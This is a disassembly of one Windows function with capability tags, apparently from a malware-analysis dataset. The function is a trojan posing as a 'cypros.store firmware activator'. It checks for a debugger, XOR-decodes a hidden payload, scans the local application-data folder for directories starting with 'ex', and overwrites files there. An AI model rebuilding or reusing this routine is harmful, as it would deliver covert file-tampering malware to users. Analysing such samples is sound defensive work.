Function at 0x1400c41d0
Capabilities:
Delete file
Encode data using xor
Enumerate files on windows
Execute command
Get common file path
Move file
Set console window title
Write and execute a file
Write file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x498]
sub rsp, 0x570
movaps xmmword [rax - 0x38], xmm6
movaps xmmword [rax - 0x48], xmm7
mov rax, qword [0x1400cb040]
xor rax, rsp
mov qword [rbp + 0x440], rax
xor r15d, r15d
mov dword [rsp + 0x44], r15d
lea rcx, str.cypros.store_firmware_activator_v2
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
lea rdx, str._cypros.store__fetching_bios_info..._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400c5c80
mov ebx, r15d
nop word [rax + rax]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp eax, 0x1234
je 0x1400c52e1
mov rcx, 0xffffffffffffffff
call qword [sym.imp.KERNEL32.dll_FlushFileBuffers]
cmp eax, 1
je 0x1400c52e1
inc ebx
cmp ebx, 0xf4240
jl 0x1400c4240
mov ecx, 0x190
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, r15
mov rdx, qword [0x1400cb750]
cmp qword [0x1400cb758], rdx
je 0x1400c42ad
nop
xor byte [rcx + rdx], 0x33
inc rcx
mov rax, qword [0x1400cb758]
mov rdx, qword [0x1400cb750]
sub rax, rdx
cmp rcx, rax
jb 0x1400c4290
lea rdx, str._cypros.store__activating_firmware..._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400c5c80
lea rdx, [rbp + 0x68]
call fcn.1400c5360
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x28], xmm0
mov qword [rbp + 0x38], r15
mov qword [rbp + 0x40], 0xf
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x330]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x1c
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathA]
xorps xmm0, xmm0
movups xmmword [rbp - 0x10], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp], xmm1
lea rax, [rbp + 0x330]
mov rbx, 0xffffffffffffffff
nop dword [rax]
inc rbx
cmp byte [rax + rbx], 0
jne 0x1400c4320
movabs r13, 0x7fffffffffffffff
cmp rbx, r13
ja 0x1400c5329
mov eax, 0x16
movabs r14, 0x8000000000000000
cmp rbx, 0xf
ja 0x1400c437a
mov qword [rbp], rbx
mov qword [rbp + 8], 0xf
mov r8, rbx
lea rdx, [rbp + 0x330]
lea rcx, [rbp - 0x10]
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbp + rbx - 0x10], 0
jmp 0x1400c4403
mov rdi, rbx
or rdi, 0xf
cmp rdi, r13
jbe 0x1400c43ac
mov rdi, r13
lea rax, [r14 + 0x27]
mov rcx, rax
call fcn.1400c6d80
test rax, rax
je 0x1400c4fc9
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
jmp 0x1400c43e1
cmp rdi, rax
cmovb rdi, rax
lea rcx, [rdi + 1]
test rcx, rcx
jne 0x1400c43c1
mov rsi, r15
jmp 0x1400c43e1
cmp rcx, 0x1000
jb 0x1400c43d9
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1400c5323
jmp 0x1400c438d
call fcn.1400c6d80
mov rsi, rax
mov qword [rbp - 0x10], rsi
mov qword [rbp], rbx
mov qword [rbp + 8], rdi
mov r8, rbx
lea rdx, [rbp + 0x330]
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
mov byte [rsi + rbx], 0
mov r8d, 2
lea rdx, [0x1400c9418]
lea rcx, [rbp - 0x10]
call fcn.1400c5bb0
lea rcx, [rbp - 0x10]
cmp qword [rbp + 8], 0xf
cmova rcx, qword [rbp - 0x10]
lea rdx, [rbp + 0x1f0]
call qword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov rdi, rax
mov qword [rbp - 0x78], rax
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x10], xmm1
mov qword [rbp + 0x20], r15
mov r12d, 2
mov dword [rsp + 0x40], r12d
mov dword [rsp + 0x44], r12d
cmp rax, 0xffffffffffffffff
jne 0x1400c4540
mov r13d, r15d
mov rdx, qword [rbp + 8]
cmp rdx, 0xf
jbe 0x1400c44a0
inc rdx
mov rcx, qword [rbp - 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400c449a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400c4fc9
call fcn.1400c6ffc
nop
mov rdi, qword [rbp + 0x10]
mov rsi, qword [rbp + 0x18]
mov qword [rbp - 0x78], rsi
cmp rdi, rsi
je 0x1400c51b5
cmp qword [rdi + 0x10], 1
jb 0x1400c51a0
lea rdx, [rbp + 0x88]
call fcn.1400c54c0
mov rbx, rax
mov r15, rdi
cmp qword [rdi + 0x18], 0xf
jbe 0x1400c44dc
mov r15, qword [rdi]
mov r14, qword [rdi + 0x10]
mov r8, qword [rax + 0x10]
mov rcx, qword [rax + 0x18]
mov rax, rcx
sub rax, r8
cmp r14, rax
ja 0x1400c505a
lea rax, [r8 + r14]
mov qword [rbx + 0x10], rax
mov rsi, rbx
cmp rcx, 0xf
jbe 0x1400c450b
mov rsi, qword [rbx]
lea rax, [r14 + r15]
cmp rax, rsi
jbe 0x1400c501e
lea rax, [rsi + r8]
cmp r15, rax
ja 0x1400c501e
cmp rsi, r15
ja 0x1400c5016
xor r12d, r12d
jmp 0x1400c5021
test byte [rbp + 0x1f0], 0x10
je 0x1400c4f67
xorps xmm0, xmm0
movups xmmword [rbp - 0x30], xmm0
mov qword [rbp - 0x20], r15
mov qword [rbp - 0x18], r15
lea rax, [rbp + 0x21c]
mov rbx, 0xffffffffffffffff
nop word [rax + rax]
inc rbx
cmp byte [rax + rbx], 0
jne 0x1400c4570
cmp rbx, r13
ja 0x1400c531d
cmp rbx, 0xf
ja 0x1400c45bd
mov qword [rbp - 0x20], rbx
mov qword [rbp - 0x18], 0xf
mov r8, rbx
lea rdx, [rbp + 0x21c]
lea rcx, [rbp - 0x30]
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbp + rbx - 0x30], 0
mov rsi, qword [rbp - 0x18]
mov rbx, qword [rbp - 0x20]
mov r14, qword [rbp - 0x30]
jmp 0x1400c464d
mov rsi, rbx
or rsi, 0xf
cmp rsi, r13
jbe 0x1400c45d2
mov rsi, r13
lea rax, [r14 + 0x27]
jmp 0x1400c4603
cmp rsi, 0x16
mov eax, 0x16
cmovb rsi, rax
lea rcx, [rsi + 1]
test rcx, rcx
jne 0x1400c45ed
mov r14, r15
jmp 0x1400c462a
cmp rcx, 0x1000
jb 0x1400c4622
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1400c532f
mov rcx, rax
call fcn.1400c6d80
test rax, rax
je 0x1400c500f
lea r14, [rax + 0x27]
and r14, 0xffffffffffffffe0
mov qword [r14 - 8], rax
jmp 0x1400c462a
call fcn.1400c6d80
mov r14, rax
mov qword [rbp - 0x30], r14
mov qword [rbp - 0x20], rbx
mov qword [rbp - 0x18], rsi
mov r8, rbx
lea rdx, [rbp + 0x21c]
mov rcx, r14
call sub.VCRUNTIME140.dll_memcpy
mov byte [r14 + rbx], 0
lea rcx, [rbp - 0x30]
cmp rsi, 0xf
cmova rcx, r14
cmp rbx, 1
jne 0x1400c4676
mov r8, rbx
lea rdx, [0x1400c941c]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x1400c4f26
lea rcx, [rbp - 0x30]
cmp rsi, 0xf
cmova rcx, r14
cmp rbx, 2
jne 0x1400c469f
mov r8, rbx
lea rdx, [0x1400c9420]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x1400c4f26
lea rax, [rbp - 0x30]
cmp rsi, 0xf
cmova rax, r14
cmp byte [rax], 0x65
jne 0x1400c4f26
lea rax, [rbp - 0x30]
cmp rsi, 0xf
cmova rax, r14
cmp byte [rax + 1], 0x78
jne 0x1400c4f26
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
mov qword [rsp + 0x58], r15
mov qword [rsp + 0x60], r15
lea rax, [rbp + 0x330]
mov rdi, 0xffffffffffffffff
nop word [rax + rax]
inc rdi
cmp byte [rax + rdi], 0
jne 0x1400c46f0
cmp rdi, r13
ja 0x1400c5359
cmp rdi, 0xf
ja 0x1400c4734
mov qword [rsp + 0x58], rdi
mov qword [rsp + 0x60], 0xf
mov r8, rdi
lea rdx, [rbp + 0x330]
lea rcx, [rsp + 0x48]
call sub.VCRUNTIME140.dll_memcpy
mov byte [rsp + rdi + 0x48], 0
jmp 0x1400c47da
mov r15, rdi
or r15, 0xf
cmp r15, r13
jbe 0x1400c4753
mov r15, r13
movabs rax, 0x8000000000000000
add rax, 0x27
jmp 0x1400c4784
cmp r15, 0x16
mov eax, 0x16
cmovb r15, rax
lea rcx, [r15 + 1]
test rcx, rcx
jne 0x1400c476e
xor r12d, r12d
jmp 0x1400c47ac
cmp rcx, 0x1000
jb 0x1400c47a4
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1400c5335
mov rcx, rax
call fcn.1400c6d80
test rax, rax
je 0x1400c4fd0
lea r12, [rax + 0x27]
and r12, 0xffffffffffffffe0
mov qword [r12 - 8], rax
jmp 0x1400c47ac
call fcn.1400c6d80
mov r12, rax
mov qword [rsp + 0x48], r12
mov qword [rsp + 0x58], rdi
mov qword [rsp + 0x60], r15
mov r8, rdi
lea rdx, [rbp + 0x330]
mov rcx, r12
call sub.VCRUNTIME140.dll_memcpy
mov byte [r12 + rdi], 0
mov r12d, dword [rsp + 0x40]
xor r15d, r15d
mov r8d, 1
lea rdx, [0x1400c942c]
lea rcx, [rsp + 0x48]
call fcn.1400c5bb0
xorps xmm0, xmm0
movups xmmword [rsp + 0x68], xmm0
mov qword [rsp + 0x78], r15
mov qword [rbp - 0x80], r15
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x68], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x78], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
or r12d, 4
mov dword [rsp + 0x44], r12d
lea rdx, [rbp - 0x30]
cmp rsi, 0xf
cmova rdx, r14
mov r8, rbx
lea rcx, [rsp + 0x68]
call fcn.1400c5bb0
movups xmm7, xmmword [rax]
movups xmmword [rbp + 0x88], xmm7
movups xmm6, xmmword [rax + 0x10]
movups xmmword [rbp + 0x98], xmm6
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
or r12d, 8
mov dword [rsp + 0x44], r12d
mov rdx, qword [rbp - 0x80]
cmp rdx, 0xf
jbe 0x1400c48ad
inc rdx
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400c48a8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400c4fd7
call fcn.1400c6ffc
mov qword [rsp + 0x78], r15
mov qword [rbp - 0x80], 0xf
mov byte [rsp + 0x68], 0
mov rdx, qword [rsp + 0x60]
cmp rdx, 0xf
jbe 0x1400c48fc
inc rdx
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400c48f7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400c4fde
call fcn.1400c6ffc
mov qword [rsp + 0x58], r15
mov qword [rsp + 0x60], 0xf
mov byte [rsp + 0x48], 0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x68], xmm0
mov qword [rbp - 0x58], rax
mov rax, r13
movq r15, xmm6
sub rax, r15
cmp rax, 2
jb 0x1400c5353
lea r14, [rbp + 0x88]
movq r13, xmm7
psrldq xmm6, 8
movq rax, xmm6
mov qword [rbp - 0x70], rax
cmp rax, 0xf
cmova r14, r13
movups xmmword [rbp + 0x48], xmm0
xor eax, eax
mov qword [rbp + 0x58], rax
mov qword [rbp + 0x60], rax
lea rsi, [r15 + 2]
mov ebx, 0xf
lea rdi, [rbp + 0x48]
cmp rsi, rbx
jbe 0x1400c49f7
mov rbx, rsi
or rbx, 0xf
movabs rcx, 0x7fffffffffffffff
cmp rbx, rcx
jbe 0x1400c49a0
mov rbx, rcx
movabs rax, 0x8000000000000000
add rax, 0x27
jmp 0x1400c49cc
cmp rbx, 0x16
mov ecx, 0x16
cmovb rbx, rcx
lea rcx, [rbx + 1]
test rcx, rcx
je 0x1400c49f0
cmp rcx, 0x1000
jb 0x1400c49eb
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1400c533b
mov rcx, rax
call fcn.1400c6d80
test rax, rax
je 0x1400c4ffa
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x1400c49f3
call fcn.1400c6d80
mov rdi, rax
mov qword [rbp + 0x48], rdi
mov qword [rbp + 0x58], rsi
mov qword [rbp + 0x60], rbx
mov r8, r15
mov rdx, r14
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
mov word [rdi + r15], 0x2a5c
mov byte [rdi + rsi], 0
or r12d, 0x20
mov dword [rsp + 0x40], r12d
lea rcx, [rbp + 0x48]
cmp qword [rbp + 0x60], 0xf
cmova rcx, qword [rbp + 0x48]
lea rdx, [rbp + 0xb0]
call qword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov r12, rax
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x68], xmm1
xor esi, esi
mov qword [rbp - 0x58], rsi
mov eax, dword [rsp + 0x40]
or eax, 0x10
mov dword [rsp + 0x40], eax
mov dword [rsp + 0x44], eax
cmp r12, 0xffffffffffffffff
je 0x1400c4e17
nop word [rax + rax]
test byte [rbp + 0xb0], 0x10
je 0x1400c4df6
xorps xmm0, xmm0
movups xmmword [rbp - 0x50], xmm0
mov qword [rbp - 0x40], rsi
mov qword [rbp - 0x38], rsi
lea rax, [rbp + 0xdc]
mov rbx, 0xffffffffffffffff
nop word [rax + rax]
inc rbx
cmp byte [rax + rbx], 0
jne 0x1400c4aa0
movabs rax, 0x7fffffffffffffff
cmp rbx, rax
ja 0x1400c534d
cmp rbx, 0xf
ja 0x1400c4aeb
mov qword [rbp - 0x40], rbx
mov qword [rbp - 0x38], 0xf
mov r8, rbx
lea rdx, [rbp + 0xdc]
lea rcx, [rbp - 0x50]
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbp + rbx - 0x50], 0
jmp 0x1400c4b81
mov rdi, rbx
or rdi, 0xf
cmp rdi, rax
jbe 0x1400c4b0a
mov rdi, rax
movabs rax, 0x8000000000000000
add rax, 0x27
jmp 0x1400c4b36
cmp rdi, 0x16
mov eax, 0x16
cmovb rdi, rax
lea rcx, [rdi + 1]
test rcx, rcx
je 0x1400c4b5d
cmp rcx, 0x1000
jb 0x1400c4b55
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1400c5341
mov rcx, rax
call fcn.1400c6d80
test rax, rax
je 0x1400c4ff3
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
jmp 0x1400c4b5d
call fcn.1400c6d80
mov rsi, rax
mov qword [rbp - 0x50], rsi
mov qword [rbp - 0x40], rbx
mov qword [rbp - 0x38], rdi
mov r8, rbx
lea rdx, [rbp + 0xdc]
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
mov byte [rsi + rbx], 0
xor esi, esi
lea rax, [rbp - 0x50]
mov rbx, qword [rbp - 0x50]
mov rdi, qword [rbp - 0x38]
cmp rdi, 0xf
cmova rax, rbx
mov rcx, qword [rbp - 0x40]
cmp rcx, 1
jne 0x1400c4ba8
cmp byte [rax], 0x2e
je 0x1400c4dbd
lea rax, [rbp - 0x50]
cmp rdi, 0xf
cmova rax, rbx
cmp rcx, 2
jne 0x1400c4bc5
cmp word [rax], 0x2e2e
je 0x1400c4dbd
lea rcx, [rbp - 0x50]
call fcn.1400c5a40
test rax, rax
jne 0x1400c4dbd
lea r14, [rbp + 0x88]
cmp qword [rbp - 0x70], 0xf
cmova r14, r13
xorps xmm0, xmm0
movups xmmword [rsp + 0x68], xmm0
mov qword [rsp + 0x78], rsi
mov qword [rbp - 0x80], rsi
lea rsi, [r15 + 1]
mov ebx, 0xf
lea rdi, [rsp + 0x68]
cmp rsi, rbx
jbe 0x1400c4c94
mov rbx, rsi
or rbx, 0xf
movabs rcx, 0x7fffffffffffffff
cmp rbx, rcx
jbe 0x1400c4c38
mov rbx, rcx
movabs rax, 0x8000000000000000
add rax, 0x27
jmp 0x1400c4c68
cmp rbx, 0x16
mov eax, 0x16
cmovb rbx, rax
lea rcx, [rbx + 1]
test rcx, rcx
jne 0x1400c4c52
xor edi, edi
jmp 0x1400c4c8f
cmp rcx, 0x1000
jb 0x1400c4c87
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1400c5347
mov rcx, rax
call fcn.1400c6d80
test rax, rax
je 0x1400c4fec
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x1400c4c8f
call fcn.1400c6d80
mov rdi, rax
mov qword [rsp + 0x68], rdi
mov qword [rsp + 0x78], rsi
mov qword [rbp - 0x80], rbx
mov r8, r15
mov rdx, r14
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
mov byte [rdi + r15], 0x5c
mov byte [rdi + rsi], 0
mov esi, dword [rsp + 0x40]
or esi, 0x40
mov dword [rsp + 0x44], esi
lea rdx, [rbp - 0x50]
cmp qword [rbp - 0x38], 0xf
cmova rdx, qword [rbp - 0x50]
mov r8, qword [rbp - 0x40]
lea rcx, [rsp + 0x68]
call fcn.1400c5bb0
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x48], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x58], xmm1
mov qword [rax + 0x10], 0
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
bts esi, 7
mov dword [rsp + 0x40], esi
mov dword [rsp + 0x44], esi
mov rdx, qword [rbp - 0x60]
cmp rdx, qword [rbp - 0x58]
je 0x1400c4d2d
movups xmmword [rdx], xmm0
movups xmmword [rdx + 0x10], xmm1
mov edx, 0xf
mov byte [rsp + 0x48], 0
add qword [rbp - 0x60], 0x20
jmp 0x1400c4d40
lea r8, [rsp + 0x48]
lea rcx, [rbp - 0x68]
call fcn.1400c6650
mov rdx, qword [rsp + 0x60]
cmp rdx, 0xf
jbe 0x1400c4d79
inc rdx
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400c4d73
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400c4fe5
call fcn.1400c6ffc
nop
mov rdx, qword [rbp - 0x80]
cmp rdx, 0xf
jbe 0x1400c4db5
inc rdx
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400c4db0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400c4fec
call fcn.1400c6ffc
mov rbx, qword [rbp - 0x50]
mov rdi, qword [rbp - 0x38]
cmp rdi, 0xf
jbe 0x1400c4df4
lea rdx, [rdi + 1]
mov rax, rbx
cmp rdx, 0x1000
jb 0x1400c4dec
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400c4ff3
mov rcx, rbx
call fcn.1400c6ffc
xor esi, esi
lea rdx, [rbp + 0xb0]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x1400c4a70
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_FindClose]
mov dword [rsp + 0x44], esi
mov dword [rsp + 0x40], esi
mov r12d, esi
mov rdx, qword [rbp + 0x60]
cmp rdx, 0xf
jbe 0x1400c4e5e
inc rdx
mov rcx, qword [rbp + 0x48]
cmp rdx, 0x1000
mov rax, rcx
jb 0x1400c4e58
mov rcx, qword [rcx - 8]
sub rax, rcx
add rdx, 0x27
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400c4ffa
call fcn.1400c6ffc
nop
mov r9, qword [rbp - 0x60]
mov r8, qword [rbp - 0x68]
sub r9, r8
sar r9, 5
mov rdx, qword [rbp + 0x18]
lea rcx, [rbp + 0x10]
call fcn.1400c6110
nop
mov rcx, qword [rbp - 0x68]
test rcx, rcx
je 0x1400c4ed2
mov rdx, qword [rbp - 0x60]
call fcn.1400c5e60
mov rdx, qword [rbp - 0x58]
mov rcx, qword [rbp - 0x68]
sub rdx, rcx
and rdx, 0xffffffffffffffe0
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400c4ec1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400c5001
call fcn.1400c6ffc
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x68], xmm0
mov qword [rbp - 0x58], rsi
mov rax, qword [rbp - 0x70]
cmp rax, 0xf
jbe 0x1400c4f0d
lea rdx, [rax + 1]
mov rax, r13
cmp rdx, 0x1000
jb 0x1400c4f05
add rdx, 0x27
mov r13, qword [r13 - 8]
sub rax, r13
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400c5008
mov rcx, r13
call fcn.1400c6ffc
movabs r13, 0x7fffffffffffffff
xor r15d, r15d
mov rdi, qword [rbp - 0x78]
mov r14, qword [rbp - 0x30]
mov rsi, qword [rbp - 0x18]
cmp rsi, 0xf
jbe 0x1400c4f5d
lea rdx, [rsi + 1]
mov rax, r14
cmp rdx, 0x1000
jb 0x1400c4f55
add rdx, 0x27
mov r14, qword [r14 - 8]
sub rax, r14
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400c500f
mov rcx, r14
call fcn.1400c6ffc
movabs r14, 0x8000000000000000
lea rdx, [rbp + 0x1f0]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x1400c4540
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FindClose]
mov r13d, r15d
mov rdx, qword [rbp + 8]
cmp rdx, 0xf
jbe 0x1400c44a0
inc rdx
mov rcx, qword [rbp - 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400c449a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400c449a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
mov r12, rsi
sub r12, r15
jmp 0x1400c5021
mov r12, r14
lea rcx, [rsi + r14]
inc r8
mov rdx, rsi
call sub.VCRUNTIME140.dll_memmove
mov r8, r12
mov rdx, r15
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rsi + r12]
mov r8, r14
sub r8, r12
lea rdx, [r12 + r14]
add rdx, r15
call sub.VCRUNTIME140.dll_memcpy
mov rsi, qword [rbp - 0x78]
jmp 0x1400c5072
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], r15
mov rdx, r14
mov rcx, rbx
call fcn.1400c68e0
mov rbx, rax
movups xmm6, xmmword [rbx]
movups xmm7, xmmword [rbx + 0x10]
xor r15d, r15d
mov qword [rbx + 0x10], r15
mov qword [rbx + 0x18], 0xf
mov byte [rbx], r15b
or r13d, 1
mov rdx, qword [rbp + 0x40]
cmp rdx, 0xf
jbe 0x1400c50ca
inc rdx
mov rcx, qword [rbp + 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400c50c5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400c51fc
call fcn.1400c6ffc
movups xmmword [rbp + 0x28], xmm6
movups xmmword [rbp + 0x38], xmm7
mov rdx, qword [rbp + 0xa0]
cmp rdx, 0xf
jbe 0x1400c5113
inc rdx
mov rcx, qword [rbp + 0x88]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400c510e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400c5203
call fcn.1400c6ffc
lea rcx, [rbp + 0x68]
cmp qword [rbp + 0x80], 0xf
cmova rcx, qword [rbp + 0x68]
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov edx, 0x40000000
mov r8d, 1
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
mov r8d, dword [0x1400cb758]
mov rdx, qword [0x1400cb750]
sub r8d, edx
mov qword [rsp + 0x20], r15
xor r9d, r9d
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rbp + 0x28]
cmp qword [rbp + 0x40], 0xf
cmova rdx, qword [rbp + 0x28]
lea rcx, [rbp + 0x68]
cmp qword [rbp + 0x80], 0xf
cmova rcx, qword [rbp + 0x68]
call qword [sym.imp.KERNEL32.dll_MoveFileA]
add rdi, 0x20
cmp rdi, rsi
jne 0x1400c44b5
mov rsi, qword [rbp + 0x18]
mov rdi, qword [rbp + 0x10]
test rdi, rdi
je 0x1400c520f
mov rdx, rsi
mov rcx, rdi
call fcn.1400c5e60
mov rdx, qword [rbp + 0x20]
mov rcx, qword [rbp + 0x10]
sub rdx, rcx
and rdx, 0xffffffffffffffe0
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400c520a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400c520a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call fcn.1400c6ffc
lea rcx, [rbp + 0x68]
cmp qword [rbp + 0x80], 0xf
cmova rcx, qword [rbp + 0x68]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, str._cypros.store__done._have_fun_playing__:__n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400c5c80
lea rcx, str.pause_NUL
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
nop
mov rdx, qword [rbp + 0x40]
cmp rdx, 0xf
jbe 0x1400c5290
inc rdx
mov rcx, qword [rbp + 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400c528b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400c528b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c6ffc
mov qword [rbp + 0x38], r15
mov qword [rbp + 0x40], 0xf
mov byte [rbp + 0x28], 0
mov rdx, qword [rbp + 0x80]
cmp rdx, 0xf
jbe 0x1400c52e1
inc rdx
mov rcx, qword [rbp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400c52dc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400c52dc
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c6ffc
xor eax, eax
mov rcx, qword [rbp + 0x440]
xor rcx, rsp
call fcn.1400c6d60
lea r11, [rsp + 0x570]
